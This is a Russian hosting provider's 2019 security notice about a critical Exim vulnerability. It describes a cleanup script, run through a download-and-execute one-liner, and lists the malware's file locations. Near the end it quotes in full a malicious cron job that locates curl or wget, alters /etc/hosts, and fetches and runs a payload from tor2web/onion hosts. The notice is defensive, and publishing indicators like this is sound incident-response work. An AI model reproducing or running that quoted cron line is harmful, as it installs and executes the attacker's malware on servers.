- Хостинг
- Услуги
- Помощь
- Акции
Новости
11.06.2019
Обновите почтовый сервер: в Exim обнаружена критическая уязвимость
Через анонсированную на днях уязвимость в почтовом сервере Exim злоумышленники заражают серверs вредоносными скриптами и нарушают работу сайтов и программного обеспечения. Проблема актуальна для версий Exim с 4.87 по 4.91 включительно. Подробности об уязвимости здесь: threatpost.ru opennet.ru
Для профилактики и лечения серверов, скомпрометированных через эту уязвимость, мы собрали уже протестированные способы диагностики и объединили в одно решение — универсальный скрипт, которым может воспользоваться любой желающий.
Как работает скрипт?
-
Обновляет Exim (для серверов с ОС Centos 6 обновлённая версия ставится из тестового репозитория EPEL; в штатные репозитории этой системы новая версия ожидается 11-12.06.2019), переустанавливает curl
-
Ищет признаки заражения* в директории /etc:
-
Если есть признаки вредоносной активности, скрипт инициирует следующие операции:
-
остановка cron
-
остановка процесса, запущенного вирусным скриптом
-
четырёхкратная остановка процессов curl wget sh (запускаются вирусом по расписанию)
-
очистка почтовой очереди от всех писем (заражённые письма нет возможности отличить от валидных, поэтому приходится удалять всю очередь)
-
снятие ограничений на удаление файлов, где размещены фрагменты вредоносного скрипта: /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp
-
удаление этих файлов
-
удаление задания автозапуска в /etc/rc.local
-
удаление ключей злоумышленников из разрешённых ключей ssh
-
запуск cron
-
перезагрузка сервера
-
-
Если признаков вредоносной активности нет, скрипт завершает работу.
-
Пояснения
-
Вирус удаляет все задачи, прописанные в cron. Поэтому после перезагрузки сервера их необходимо перенастроить или восстановить из резервной копии.
-
Переустановка curl обязательна, так как заражаются его системные файлы.
-
Автоматическая перезагрузка сервера также обязательна — вирусный скрипт сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд, даже если удалить заражённые файлы.
Важно!
Данное решение предлагается в качестве временной меры для профилактики и лечения последствий заражения через уязвимость почтового сервера Exim. Мы проверили его на ряде серверов, но нет гарантий, что вы столкнётесь с тем же вариантом заражения, что и мы — способов эксплуатации уязвимостей обычно несколько. Помимо этого, существуют риски несовместимости версий программного обеспечения или конфликта настроек. Скрипт не ищет и не устраняет спрятанные бэкдоры, которые могли оставить злоумышленники, получив root-доступ к серверу. Лучшим способом лечения сервера после взлома остаётся перенос данных на новый сервер с уже обновлённым почтовым сервером.
С учётом перечисленных нюансов использование скрипта осуществляется на свой страх и риск. Перед запуском скрипта обязательно проверьте, что у вас на руках есть актуальная резервная копия данных сервера.
Как запустить скрипт?
Для запуска скрипта подключитесь к серверу по SSH под пользователем с правами root. Альтернативный способ запуска — с помощью Shell-клиент-а в панели управления ISPmanager — Инструменты.
Скопируйте в командную строку следующий текст одной строкой:
wget http://cure-exim.ispserver.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Дождитесь завершения работы скрипта и перезагрузки сервера. После этого проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в планировщике.
* Признаками заражения считаются подозрительные ссылки VPN-сервиса Tor (tor2web) в заданиях планировщика. Пример задания на загрузку и перезапуск вредоносного скрипта:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp